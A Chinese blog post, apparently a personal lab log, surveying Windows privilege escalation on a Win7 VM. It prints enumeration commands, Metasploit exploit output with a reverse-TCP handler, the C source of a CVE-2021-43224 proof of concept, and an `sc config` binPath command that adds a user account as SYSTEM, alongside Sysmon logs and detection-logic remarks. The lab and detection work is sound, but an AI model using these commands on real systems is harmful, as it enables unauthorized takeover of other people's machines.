Windows 提权方式总结

Windows 提权方式总结

Windows 提权方式总结

 
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
# 查询系统信息
systeminfo 
# 如果要查看特定的信息,可以使用
systeminfo | findstr /B /C:"OS名称" /C:"OS版本"
# 主机名
Hostname
# 环境变量
Set
# 查看用户信息
Net user
# 查看服务 pid 号
tasklist /svc|find "TermService"
netstat -ano|find "3389"
# 查看系统名
wmic os get caption
# 查看补丁信息
wmic qfe get Description,HotFixID,InstalledOn
# 如果要定位到特定的补丁可以使用如下命令
wmic qfe get Description,HotFixID,InstalledOn | findstr /C:"KB4346084" /C:"KB4509094"
# 查看当前安装程序
wmic product get name,version

 

其中需要注意一下 环境变量,因为有的软件环境变量可能设置在其它路径中,而在该路径下的文件是具有写权限的,就可以通过替换文件来达到提权操作==》检测逻辑:文件替换监控

  • User:普通用户权限,系统中最安全的权限,分配给该组的默认权限不允许成员修改操作系统的设置或用户资料

  • Administrator:管理员权限,可以利用 Windows 的机制将自己提升为 System 权限,以便操作 SAM 文件等

  • System:系统权限,可以对 SAM 等敏感文件进行读取,往往需要 Administrator 权限提升到 System 权限才可以对散列值进行 Dump 操作

  • TrustedInstaller:最高权限, 对于系统文件,即使 System 权限也无法进行修改,只有 TrustedInstaller 权限才可以修改文件

通常的 webshell 权限如下:

  • ASP、PHP - 匿名权限
  • ASPX - user 权限
  • JSP - 通常是系统权限

此提权方法即是通过系统本身存在的一些漏洞,未曾打相应的补丁而暴露出来的提权方法,依托可以提升权限的 EXP 和它们的补丁编号,进行提升权限。

检查:

 
1
2
3
4
5
systeminfo
wmic qfe get Caption,Description,HotFixID,InstalledOn
# msf
post/windows/gather/enum_patches
Windows-Exploit-Suggester  ==》检测逻辑:提权工具使用,采集windows powershell模块日志

注:https://github.com/bitsadmin/wesng  Windows-Exploit-Suggester的最新下载链接

我自己下载了一个windows 7 professional 64版本,本地复现了下:

下载链接:https://download.microsoft.com/download/0/6/3/06365375-C346-4D65-87C7-EE41F55F736B/7601.24214.180801-1700.win7sp1_ldr_escrow_CLIENT_PROFESSIONAL_x64FRE_en-us.iso

漏洞收集:

C:\Users\bonelee>systeminfo > systeminfo.txt

C:\Users\bonelee>notepad systeminfo.txt


Host Name:                 WIN-64D074175DT
OS Name:                   Microsoft Windows 7 Professional 
OS Version:                6.1.7601 Service Pack 1 Build 7601
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:   
Product ID:                00371-177-0000061-85955
Original Install Date:     9/4/2022, 8:22:24 PM
System Boot Time:          9/4/2022, 8:50:38 PM
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               x64-based PC
Processor(s):              2 Processor(s) Installed.
                           [01]: Intel64 Family 6 Model 167 Stepping 1 GenuineIntel ~2592 Mhz
                           [02]: Intel64 Family 6 Model 167 Stepping 1 GenuineIntel ~2592 Mhz
BIOS Version:              Phoenix Technologies LTD 6.00, 11/12/2020
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC+08:00) Beijing, Chongqing, Hong Kong, Urumqi
Total Physical Memory:     4,047 MB
Available Physical Memory: 3,204 MB
Virtual Memory: Max Size:  8,093 MB
Virtual Memory: Available: 7,081 MB
Virtual Memory: In Use:    1,012 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              \\WIN-64D074175DT
Hotfix(s):                 186 Hotfix(s) Installed.
                           [01]: KB2849697
                           [02]: KB2849696
                           [03]: KB2841134
                           [04]: KB2670838
                           [05]: KB971033
                           [06]: KB2479943
                           [07]: KB2491683
                           [08]: KB2506014
                           [09]: KB2506212
     ...
                           [185]: KB982018
                           [186]: KB4467107
Network Card(s):           2 NIC(s) Installed.
                           [01]: Intel(R) PRO/1000 MT Network Connection
                                 Connection Name: Local Area Connection
                                 DHCP Enabled:    Yes
                                 DHCP Server:     192.168.58.254
                                 IP address(es)
                                 [01]: 192.168.58.129
                                 [02]: fe80::a5ba:113:7d5:5a8b
                           [02]: Bluetooth Device (Personal Area Network)
                                 Connection Name: Bluetooth Network Connection
                                 Status:          Media disconnected

 

然后下载wesng后,在我的宿主机(C2 server)运行:

D:\BaiduNetdiskDownload\wesng-master\wesng-master>python3 wes.py --update
Windows Exploit Suggester 1.03 ( https://github.com/bitsadmin/wesng/ )
[+] Updating definitions
[+] Obtained definitions created at 20220901


D:\BaiduNetdiskDownload\wesng-master\wesng-master>python3 wes.py systeminfo.txt >result.txt

 

result.txt示例内容(后面的win32_vul.txt便是此文件):

Windows Exploit Suggester 1.03 ( https://github.com/bitsadmin/wesng/ )
[+] Parsing systeminfo output
[+] Operating System
    - Name: Windows 7 for x64-based Systems Service Pack 1
    - Generation: 7
    - Build: 7601
    - Version: None
    - Architecture: x64-based
    - Installed hotfixes (186): KB2849697, KB2849696, KB2841134, KB2670838, KB971033, KB2479943, KB2491683, KB2506014, KB2506212, KB2506928, KB2532531, KB2533552, KB2533623, KB2534366, KB2545698, KB2547666, KB2552343, KB2560656, KB2563227, KB2564958, KB2579686, KB2585542, KB2603229, KB2604115, KB2620704, KB2621440, KB2631813, KB2639308, KB2640148, KB2653956, KB2654428, KB2656356, KB2660075, KB2667402, KB2685811, KB2685813, KB2685939, KB2690533, KB2698365, KB2705219, KB2719857, KB2726535, KB2727528, KB2729094, KB2729452, KB2731771, KB2732059, KB2732487, KB2736422, KB2742599, KB2750841, KB2758857, KB2761217, KB2763523, KB2770660, KB2773072, KB2786081, KB2789645, KB2791765, KB2799926, KB2800095, KB2807986, KB2808679, KB2813430, KB2834140, KB2836942, KB2836943, KB2840631, KB2843630, KB2847927, KB2852386, KB2853952, KB2861698, KB2862330, KB2862335, KB2864202, KB2868038, KB2871997, KB2882822, KB2884256, KB2888049, KB2891804, KB2893294, KB2893519, KB2894844, KB2900986, KB2908783, KB2911501, KB2912390, KB2918077, KB2919469, KB2931356, KB2937610, KB2943357, KB2952664, KB2966583, KB2968294, KB2970228, KB2972100, KB2972211, KB2973112, KB2973201, KB2977292, KB2978120, KB2978742, KB2984972, KB2985461, KB2991963, KB2992611, KB3004375, KB3006121, KB3006137, KB3010788, KB3011780, KB3013531, KB3019978, KB3020370, KB3021674, KB3021917, KB3023215, KB3030377, KB3031432, KB3035126, KB3037574, KB3042058, KB3045685, KB3046017, KB3046269, KB3054476, KB3055642, KB3059317, KB3060716, KB3067903, KB3068708, KB3071756, KB3072305, KB3074543, KB3075220, KB3078601, KB3078667, KB3080149, KB3086255, KB3092601, KB3093513, KB3097989, KB3101722, KB3102810, KB3107998, KB3108371, KB3108664, KB3109103, KB3109560, KB3110329, KB3115858, KB3122648, KB3126587, KB3127220, KB3133977, KB3137061, KB3138378, KB3138612, KB3138910, KB3139398, KB3139914, KB3140245, KB3147071, KB3150220, KB3150513, KB3155178, KB3156016, KB3159398, KB3161102, KB3161949, KB3170735, KB3172605, KB3177467, KB3179573, KB3184143, KB3185319, KB4019990, KB4040980, KB4457044, KB4459934, KB976902, KB982018, KB4467107
[+] Loading definitions
    - Creation date of definitions: 20220901
[+] Determining missing patches
[!] Found vulnerabilities!

Date: 20170314
CVE: CVE-2017-0022
KB: KB4012212
Title: Security Update for Microsoft XML Core Services
Affected product: Windows 7 for x64-based Systems Service Pack 1
Affected component: Microsoft XML Core Services 3.0
Severity: Important
Impact: Information Disclosure
Exploit: n/a

Date: 20170314
CVE: CVE-2017-0042
KB: KB4012212
Title: Security Update for Windows DirectShow
Affected product: Windows 7 for x64-based Systems Service Pack 1
Affected component: 
Severity: Important
Impact: Information Disclosure
Exploit: n/a

Date: 20170314
CVE: CVE-2017-0045
KB: KB4012212
Title: Security Update for Windows DVD Maker
Affected product: Windows 7 for x64-based Systems Service Pack 1
Affected component: 
Severity: Important
Impact: Information Disclosure
Exploits: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-DVD-MAKER-XML-EXTERNAL-ENTITY-FILE-DISCLOSURE.txt, https://www.exploit-db.com/exploits/41619/

 正好里面有这个MS16-016提权的漏洞(gg!我用win7 32位sp1没有看到该漏洞!):

Date: 20160209
CVE: CVE-2016-0051
KB: KB3124280
Title: Security Update for WebDAV to Address Elevation of Privilege
Affected product: Windows 7 for x64-based Systems Service Pack 1
Affected component: 
Severity: Important
Impact: Elevation of Privilege
Exploits: https://www.exploit-db.com/exploits/39788/, https://www.exploit-db.com/exploits/40085/, https://www.exploit-db.com/exploits/39432/

 利用该漏洞的poc:

https://github.com/koczkatamas/CVE-2016-0051/blob/master/EoP/EoP/Program.cs

待详细分析。

然后运行了下,在64位上运行不成功。。。

C:\Users\tmp\Desktop\eop>EoP.exe
[*] LoadAndGetKernelBase result = 0
[*] NtAllocateVirtualMemory result = INVALID_PARAMETER_2, addr = 4096, size = 16
384
[-] Fail... so sad :(

Press ENTER to exit.

 GG!

又试了下msf里的做法,参考https://www.cnblogs.com/bonelee/p/15863362.html,结果还是没有成功!!!

meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(windows/local/ms16_016_webdav) > use exploit/windows/local/ms16_016_webdav
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms16_016_webdav) > set SESSION 1
SESSION => 1
msf6 exploit(windows/local/ms16_016_webdav) > exploit

[*] Started reverse TCP handler on 192.168.58.128:4444 
[-] Exploit aborted due to failure: no-target: Running against 64-bit systems is not supported
[*] Exploit completed, but no session was created.

 32位上因为,我安装的win7没有ms16提权漏洞,所以真蛋疼啊!这环境安装让人抓狂!

---------------------------------------------------------------------------------------换一个漏洞试试。

另外,这里有提权的所有漏洞汇总,https://github.com/ycdxsb/WindowsPrivilegeEscalation

 

 

不行啊,必须自己搞一个内核漏洞的提权用例,如下效果:

 

 

写一个代码看看自己win7 32位系统上有哪些可以利用的提权漏洞吧:

# https://github.com/ycdxsb/WindowsPrivilegeEscalation
s = """
    2021
        CVE-2021-43883/CVE-2021-41379
        CVE-2021-43224
        CVE-2021-42278/CVE-2021-42278
        CVE-2021-40449
        CVE-2021-40444
        CVE-2021-38639
        CVE-2021-36934
        CVE-2021-34527
        CVE-2021-34486
        CVE-2021-33739
        CVE-2021-31956
        CVE-2021-28310
        CVE-2021-26868
        CVE-2021-24096
        CVE-2021-21551
        CVE-2021-1732
    2020
        CVE-2020-17087
        CVE-2020-17057
        CVE-2020-16898
        CVE-2020-1362
        CVE-2020-1350
        CVE-2020-1337
        CVE-2020-1313
        CVE-2020-1301
        CVE-2020-1066
        CVE-2020-1054
        CVE-2020-1048
        CVE-2020-1034
        CVE-2020-1015
        CVE-2020-0883
        CVE-2020-0814
        CVE-2020-0796
        CVE-2020-0787
        CVE-2020-0754
        CVE-2020-0753
        CVE-2020-0683
        CVE-2020-0668
        CVE-2020-0624
        CVE-2020-0610
        CVE-2020-0609
    2019
        CVE-2019-1477
        CVE-2019-1476
        CVE-2019-1458
        CVE-2019-1422
        CVE-2019-1405
        CVE-2019-1388
        CVE-2019-1385
        CVE-2019-1322
        CVE-2019-1315
        CVE-2019-1253
        CVE-2019-1215
        CVE-2019-1132
        CVE-2019-1129/1130
        CVE-2019-1064
        CVE-2019-1040
        CVE-2019-0986
        CVE-2019-0863
        CVE-2019-0859
        CVE-2019-0803
        CVE-2019-0708
        CVE-2019-0623
    2018
        CVE-2018-8639
        CVE-2018-8453
        CVE-2018-8440
        CVE-2018-8414
        CVE-2018-8120
        CVE-2018-7249
        CVE-2018-1038
        CVE-2018-0886
        CVE-2018-0824
    2017
        CVE-2017-11783
        CVE-2017-8543
        CVE-2017-8465
        CVE-2017-8464
        CVE-2017-7269
        CVE-2017-0290
        CVE-2017-0263
        CVE-2017-0213
        CVE-2017-0143 (MS17-010)
        CVE-2017-0101 (MS17-017)
        CVE-2017-0100 (MS17-012)
        CVE-2017-0005 (MS17-013)
    2016
        CVE-2016-7255 (MS16-135)
        CVE-2016-3371 (MS16-111)
        CVE-2016-3308/3309 (MS16-098)
        CVE-2016-3225 (MS16-075)
        CVE-2016-0099 (MS16-032)
        CVE-2016-0095 (MS16-034)
        CVE-2016-0051 (MS16-016)
        CVE-2016-0041 (MS16-014)
    2015
        CVE-2015-2546 (MS15-097)
        CVE-2015-2387 (MS15-077)
        CVE-2015-2370 (MS15-076)
        CVE-2015-1726 (MS15-061)
        CVE-2015-1701 (MS15-051)
        CVE-2015-0062 (MS15-015)
        CVE-2015-0057 (MS15-010)
        CVE-2015-0003 (MS15-010)
        CVE-2015-0002 (MS15-001)
    2014
        CVE-2014-6324 (MS14-068)
        CVE-2014-6321 (MS14-066)
        CVE-2014-4113 (MS14-058)
        CVE-2014-4076 (MS14-070)
        CVE-2014-1767 (MS14-040)
    2013
        CVE-2013-5065 (MS14-002)
        CVE-2013-1345 (MS13-053)
        CVE-2013-1332 (MS13-046)
        CVE-2013-1300 (MS13-053)
        CVE-2013-0008 (MS13-005)
    2012
        CVE-2012-0217 (MS12-042)
        CVE-2012-0152 (MS12-020)
        CVE-2012-0002 (MS12-020)
    2011
        CVE-2011-2005 (MS11-080)
        CVE-2011-1974 (MS11-062)
        CVE-2011-1249 (MS11-046)
        CVE-2011-1237 (MS11-034)
        CVE-2011-0045 (MS11-011)
    2010
        CVE-2010-3338 (MS10-092)
        CVE-2010-2730 (MS10-065)
        CVE-2010-2554 (MS10-059)
        CVE-2010-1897 (MS10-048)
        CVE-2010-1887 (MS10-048)
        CVE-2010-0270 (MS10-020)
        CVE-2010-0233 (MS10-015)
        CVE-2010-0020 (MS10-012)
    2009
        CVE-2009-2532 (MS09-050)
        CVE-2009-1535 (MS09-020)
        CVE-2009-0229 (MS09-022)
        CVE-2009-0079 (MS09-012)
    2008
        CVE-2008-4250 (MS08-067)
        CVE-2008-4037 (MS08-068)
        CVE-2008-3464 (MS08-066)
        CVE-2008-1084 (MS08-025)
    2007
        CVE-2007-0843
        CVE-2007-0038
    2006
        CVE-2006-3439 (MS06-040)
    2005
        CVE-2005-1983 (MS05-039)
    2003
        CVE-2003-0352 (MS03-026)
    2000
        CVE-2000-0979
"""

with open(r"D:\BaiduNetdiskDownload\wesng-master\wesng-master\win32_vul.txt") as f:
    txt = f.read()
    lines = s.split("\n")
    for line in lines:
        if "CVE" in line:
            data = line.strip().split()
            cve = data[0]
            if cve in txt:
                print(cve)

 输出:

CVE-2021-43224
CVE-2021-40449
CVE-2021-38639
CVE-2021-34527
CVE-2021-31956
CVE-2020-17087
CVE-2020-1337
CVE-2020-1301
CVE-2020-1066
CVE-2020-1054
CVE-2020-1048
CVE-2020-1015
CVE-2020-0883
CVE-2020-0814
CVE-2020-0787
CVE-2020-0754
CVE-2020-0753
CVE-2020-0683
CVE-2020-0668
CVE-2019-1458
CVE-2019-1422
CVE-2019-1405
CVE-2019-1388
CVE-2019-1315
CVE-2019-1215
CVE-2019-1132
CVE-2019-1040
CVE-2019-0986
CVE-2019-0863
CVE-2019-0859
CVE-2019-0803
CVE-2019-0708
CVE-2019-0623
CVE-2018-8639
CVE-2018-8453
CVE-2018-8440
CVE-2018-8120
CVE-2018-0886
CVE-2018-0824
CVE-2017-8543
CVE-2017-8464
CVE-2017-0263
CVE-2017-0213
CVE-2017-0143
CVE-2017-0101
CVE-2017-0100
CVE-2017-0005
CVE-2016-7255
CVE-2016-3225
CVE-2016-0041
CVE-2015-2546
CVE-2015-1701
CVE-2011-1249
CVE-2011-0045

选择第一个吧, CVE-2021-43224

 

POC在这里:https://github.com/KaLendsi/CVE-2021-43224-POC

 

然后发现没有exe,GG!自己下载项目编译吧!我用的是vs2022 pro版,网上有开放的激活码可以用。准备就绪以后,导入工程:

注意,编译的时候选择x86!不是x64!

 

 此外,编译的时候,还要设置下静态链接!原因见:  https://blog.csdn.net/qq_43170478/article/details/104085919

 

 生成以后将exe文件,copy到win7系统【无论是普通用户还是管理员运行都一样效果!!!】,然后运行就直接蓝屏了!!!

 

 

 

 好了,接下里就是看看哪些数据被sysmon采集了。分析如何检测这类内核漏洞利用。

CVE-2021-43224Windows 通用日志文件系统驱动程序信息泄露漏洞

 上述漏洞微软也没有详细给原理,尼玛!坑

 poc代码,当然也看不出根本问题:

#include <Windows.h>
#include <wchar.h>
#include <iostream>
#include <clfsw32.h>
#include <Clfsmgmtw32.h>
#pragma comment(lib, "clfsw32.lib")
int main() {
	wchar_t szLogPath[] = L"LOG:C:\\Users\\Public\\MyLog::Stream1";
	//wchar_t szLogPath[] = L"??\\LOG:\\HarddiskVolume0\\MyLog";
	//wchar_t szLogPath[] = L"LOG:\\\\?\\GLOBALROOT\\Device\\HarddiskVolume0\\Users\\Public\\MysssLog";
	//\\\\?\\GLOBALROOT\\Device\\HarddiskVolume0
	//SECURITY_ATTRIBUTES psaLogFile = {};
	HANDLE   hLog = CreateLogFile(szLogPath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, NULL);
	if (INVALID_HANDLE_VALUE == hLog)
	{
		printf("error=%d\n", GetLastError());
		return 1;
	}
	if (!RegisterManageableLogClient(hLog, 0))
		printf("error=%d\n", GetLastError());
	printf("hLog=%p\n", hLog);
	CLFS_INFORMATION pinfoBuffer = {};
	//ULONG infoSize = sizeof(pinfoBuffer);
	ULONG infoSize = 0x110;
	//	system("pause");
	DWORD dwRet = GetLogFileInformation(hLog, &pinfoBuffer, &infoSize);
	if (dwRet == NULL)
	{
		printf("error=%d\n", GetLastError());
		return 1;
	}
	printf("dwRet=%08x\n", dwRet);
	return 0;
}

 日志采集:

连导致蓝屏的cve_xxxx.exe进程名都没有采集到,就是看到sysmon状态变更,应该是挂之前写的!

 

 然后是这条数据【后面这些日志都是系统重启后sysmon采集的,所以内核漏洞的数据都没有采集到!】:

Process Create:
RuleName: -
UtcTime: 2022-09-10 12:57:38.350
ProcessGuid: {35612ded-89c2-631c-0500-000000002200}
ProcessId: 384
Image: C:\Windows\System32\csrss.exe
FileVersion: 6.1.7600.16385 (win7_rtm.090713-1255)
Description: Client Server Runtime Process
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: CSRSS.Exe
CommandLine: %%SystemRoot%%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,12288,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
CurrentDirectory: C:\Windows\system32
User: NT AUTHORITY\SYSTEM
LogonGuid: {35612ded-89c2-631c-e703-000000000000}
LogonId: 0x3e7
TerminalSessionId: 0
IntegrityLevel: System
Hashes: MD5=342271F6142E7C70805B8A81E1BA5F5C,SHA256=F9112B88FEC5EF10A7AEDF88DCEE61956D1FCDE7CB42197216E8265578713786,IMPHASH=A801AE60E0B3E5643B92C006DA96F0E0
ParentProcessGuid: {35612ded-89c1-631c-0400-000000002200}
ParentProcessId: 364
ParentImage: C:\Windows\System32\smss.exe
ParentCommandLine: \SystemRoot\System32\smss.exe 00000000 00000048 
ParentUser: NT AUTHORITY\SYSTEM

 注意:用户是高权限的 User: NT AUTHORITY\SYSTEM

csrss.exe是什么进程?csrss.exe通常是系统的正常进程,所在的进程文件是csrss或csrss.exe,是微软客户端、服务端运行时子系统,windows的核心进程之一。管理Windows图形相关任务,对系统的正常运行非常重要。

csrss.exe是什么进程

  csrss.exe是什么进程,csrss是Client/Server Runtime Server Subsystem的简称,即客户/服务器运行子系统,用以控制Windows图形相关子系统,必须一直运行。csrss用于维持Windows的控制,创建或者删除线程和一些16位的虚拟MS-DOS环境。也有可能是W32.Netsky.AB@mm等病毒创建的。

  本进程的主要是控制图形子系统、负责管理线程,并执行MS-DOS环境的图形窗口及其他某些部分。csrss.exe是什么进程?这是一个重要的进程,他会随系统的启动而自动开启并一直运行。在大多数情况下它是安全的,你不应该将其终止;但也有与其类似的病毒出现 。

还有其他日志:

Process Create:
RuleName: -
UtcTime: 2022-09-10 12:57:38.506
ProcessGuid: {35612ded-89c2-631c-0600-000000002200}
ProcessId: 428
Image: C:\Windows\System32\smss.exe
FileVersion: 6.1.7601.24214 (win7sp1_ldr_escrow.180801-1700)
Description: Windows Session Manager
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: smss.exe
CommandLine: \SystemRoot\System32\smss.exe 00000001 00000048 
CurrentDirectory: C:\Windows\
User: NT AUTHORITY\SYSTEM
LogonGuid: {35612ded-89c2-631c-e703-000000000000}
LogonId: 0x3e7
TerminalSessionId: 1
IntegrityLevel: System
Hashes: MD5=53D1E3DE70BC7DF8BAFC8C9E6465F504,SHA256=09C042062EB761D8F80E27B3035F1C2257EAB0B87E10621E50B94CBEB152DC7C,IMPHASH=263C3FFA2FD990E9BAE492989A61AF52
ParentProcessGuid: {35612ded-89c1-631c-0200-000000002200}
ParentProcessId: 296
ParentImage: C:\Windows\System32\smss.exe
ParentCommandLine: \SystemRoot\System32\smss.exe
ParentUser: NT AUTHORITY\SYSTEM

 

smss.exe是什么进程?

smss.exe(Session Manager Subsystem),该进程为会话管理子系统用以初始化系统变量,MS-DOS驱动名称类似LPT1以及COM,调用Win32壳子系统和运行在Windows登陆过程。这是一个会话管理子系统,负责启动用户会话。这个进程是通过系统进程初始化的并且对许多活动的,包括已经正在运行的Windows登录程序(winlogon.exe),Win32子系统(csrss.exe)线程和设定的系统变量作出反映。

smss.exe进程有什么作用

smss.exe(会话管理器)是Windows系统中第一个创建的用户模式进程。负责完成执行体和内核初始化工作的内核模式系统线程在最后阶段创建了实际的Smss进程。在启动Windows的过程中,smss.exe作用过程分为7个步骤,分别如下:

1.创建LPC port对象,为MSDOS定义符号连接,例如COM1、LPT1,假如安装有Terminal Services,则创建\Sessions目录
2.运行注册表里HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute定义的程序,一般默认的是运行Autochk

 


3.执行HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations表键中的延迟,删除,改名操作
4.加载HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs 初始化paging files和注册表
5.创建系统环境变量,这些定义在HKLM\System\CurrentControlSet\Session Manager\Environment
6.加载和初始化Win32子系统的内核模块Win32k.sys
7.创建Win32子系统服务器进程,包括Csrss.exe并创建Winlogon.exe进程。
在注册表的HKLM\SYSTEM\CurrentControlSet\Control\Session Manager下面,你可以找到许多配置信息,它们驱动了Smss.exe的初始化步骤。Smss.exe中的主线程在执行了这些初始化步骤以后, 一直在Csrss.exe和Winlogon.exe的进程句柄上等待。如果这两个进程中的任何一个非正常终止了,则Smss让系统崩溃掉(崩溃的代码是 STATUS_SYSTEM_PROCESS_TERMINATED或0xC000021A),因为Windows要依赖于这两个进程的存在才能运行得下去。(拓展阅读:svchost.exe是什么进程?) 

同时Smss.exe等待加载子系统的请求、调试事件,以及创建新的终端服务器会话(terminal server sessions)的请求。终端服务会话(Terminal Services session)的创建是由Smss.exe来完成的。当Smss.exe接到一个创建会话的请求时,它首先调用NtSetSystemInformation,请求建立内核模式的会话数据结构。又依次调用内部的内存管理器函数MmSessionCreate, 该函数建立起会话虚拟地址空间,该地址空间中包含会话中的换页内存池,以及由Win32子系统的内核模式部分(Win32k.sys)和其他的会话空间设备驱动程序所分配的、属于每个会话的数据结构。然后,Smss.exe为该会话创建Winlogon.exe和Csrss.exe的实例。

 

果然还看到了csrss进程日志:

Process Create:
RuleName: -
UtcTime: 2022-09-10 12:57:38.506
ProcessGuid: {35612ded-89c2-631c-0800-000000002200}
ProcessId: 444
Image: C:\Windows\System32\csrss.exe
FileVersion: 6.1.7600.16385 (win7_rtm.090713-1255)
Description: Client Server Runtime Process
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: CSRSS.Exe
CommandLine: %%SystemRoot%%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,12288,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
CurrentDirectory: C:\Windows\system32
User: NT AUTHORITY\SYSTEM
LogonGuid: {35612ded-89c2-631c-e703-000000000000}
LogonId: 0x3e7
TerminalSessionId: 1
IntegrityLevel: System
Hashes: MD5=342271F6142E7C70805B8A81E1BA5F5C,SHA256=F9112B88FEC5EF10A7AEDF88DCEE61956D1FCDE7CB42197216E8265578713786,IMPHASH=A801AE60E0B3E5643B92C006DA96F0E0
ParentProcessGuid: {35612ded-89c2-631c-0600-000000002200}
ParentProcessId: 428
ParentImage: C:\Windows\System32\smss.exe
ParentCommandLine: \SystemRoot\System32\smss.exe 00000001 00000048 
ParentUser: NT AUTHORITY\SYSTEM

 winit进程:

Process Create:
RuleName: -
UtcTime: 2022-09-10 12:57:38.506
ProcessGuid: {35612ded-89c2-631c-0700-000000002200}
ProcessId: 436
Image: C:\Windows\System32\wininit.exe
FileVersion: 6.1.7600.16385 (win7_rtm.090713-1255)
Description: Windows Start-Up Application
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: WinInit.exe
CommandLine: wininit.exe
CurrentDirectory: C:\Windows\system32
User: NT AUTHORITY\SYSTEM
LogonGuid: {35612ded-89c2-631c-e703-000000000000}
LogonId: 0x3e7
TerminalSessionId: 0
IntegrityLevel: System
Hashes: MD5=B5C5DCAD3899512020D135600129D665,SHA256=F6B4D18FA0D3C4958711AC0D476C21A6FDF2897F989A0AD290B43F463DD8B5B0,IMPHASH=3A03523373D4A10171106AA80AA91C50
ParentProcessGuid: {35612ded-89c1-631c-0400-000000002200}
ParentProcessId: 364
ParentImage: C:\Windows\System32\smss.exe
ParentCommandLine: \SystemRoot\System32\smss.exe 00000000 00000048 
ParentUser: NT AUTHORITY\SYSTEM

 

wininit.exe是Windows NT 6.x系统的一个核心进程。不能强制结束,否则会蓝屏
进程文件:wininit 或 wininit.exe
进程名称:wininit.exe
常见错误:强制结束会蓝屏
出品者:微软
定义:wininit.exe是Windows NT 6.x系统的一个核心进程。wininit.exe的工作是开启一些主要的Vista-Win7、Win8后台服务,比如中央服务管理器Service Central Manager (SCM),本地安全验证子系统Local Security Authority Subsystem (LSASS) 和本地会话管理器Local Session Manager (LSM.EXE).
wininit.exe是一个关键的Windows NT 6.x后台程序,所以在Windows NT 6.x任务管理系统中不应被终止。 [1] 
介绍:wininit.exe 在Windows NT 6.x中是正常进程,描述是:Windows启动应用程序。启动services.exe(服务控制管理器)、lsass.exe(本地安全授权)、lsm.exe(本地会话管理器),不能终止,否则马上蓝屏,位于System32文件夹中。
位置:wininit.exe位于 C:\Windows\System32\ wininit.exe对用户不可见,完全运行在系统后台中,并且可以记录的计算机的输入和执行其它程序。 [1] 
wininit.exe也可能是WOLLF.16病毒的一部分。该木马允许攻击者不经过你同意,远程控制你的计算机。

 

再来一个漏洞复现吧:

CVE-2017-0101 (MS17-017)

The kernel-mode drivers in Transaction Manager in Microsoft Windows Vista SP2; Windows Server 2008 SP2 and R2; Windows 7 SP1; Windows 8.1, Windows Server 2012 Gold and R2, Windows RT 8.1; Windows 10 Gold, 1511, and 1607; and Windows Server 2016 allow local users to gain privileges via a crafted application, aka "Windows Elevation of Privilege Vulnerability."

32位win7还是没有复现,没有提权效果,GG!!!

 

 

 

 

下面是辅助提权的页面:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210127094545.png-water_print

Windows 系统服务文件在操作系统启动时加载并执行,并调用可执行文件。因此,如果一个低权限用户对这些调用的可执行文件拥有可写权限,就可以将该文件替换成任意可执行文件,并随着系统服务的启动获得系统权限,但一般情况下,Windows 是以 System 权限执行的,因此,其文件夹、文件和注册表键值都是受到强访问控制机制保护的,但在某些情况下仍有些服务没有得到有效保护。==>检测逻辑:文件替换监测

下载地址:https://download.sysinternals.com/files/SysinternalsSuite.zip

  • 用 accesschk.exe 工具查看当前用户可修改的服务

accesschk.exe -uwcqv "XXX" * /accepteula > 1.txt //XXX为当前用户名   ==>检测逻辑:提权工具使用

如果出现 SERVICE_ALL_ACCESS 则表示当前用户拥有修改该服务的权限

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210127104057.png-water_print

  • 查看该服务启动时的权限

sc qc VMTools

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210127104148.png-water_print

  • 然后修改执行文件路径为我们想要执行的命令
 
1
2
3
4
5
# 注意这里的"="后面要留有空格
sc config VMTools binPath= "net user test1 abc123! /add"  
==》检测sc里是否有net user add操作
# 查看查询该服务的执行路径是否修改成功
sc qc VMTools  
  • 重启服务
 
1
2
sc stop VMTools
sc start VMTools

但要注意这里启动时会报错,因为当一个服务在 Windows 系统中启动后,它必须和服务控制管理器通信。如果没有通信,服务控制管理器会认为出现了错误,并会终止这个进程。但是我们的命令已经以 SYSTEM 权限运行了,并且成功添加了一个用户。

信息

利用系统自带的 icacls 也可以:

确定写入权限:icacls "C:\Program Files\program folder"

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210127101438.png-water_print

「M」表示修改、「F」表示完全控制

「CI」代表从属容器将继承访问控制项

「OI」代表从属文件将继承访问控制项

icacls使用说明

Intergrity Control Access Control List: 完整性权限控制列表,Windows系统下控制文件及文件夹的访问权限的命令行指令,相当于Linux中的chmod,原命令cacls已经被废弃

Instance

Open Windows Command Line: Win + R > Input ‘cmd

Format: icacls "C:\MyFolder" /grant Users:F
